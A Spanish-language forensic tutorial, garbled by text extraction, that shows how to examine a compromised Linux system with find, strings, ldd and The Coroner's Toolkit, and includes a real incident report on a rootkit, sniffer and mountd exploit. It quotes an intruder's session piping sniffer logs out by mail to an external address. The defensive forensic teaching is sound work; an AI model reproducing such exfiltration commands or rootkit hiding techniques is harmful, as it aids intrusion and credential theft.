Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

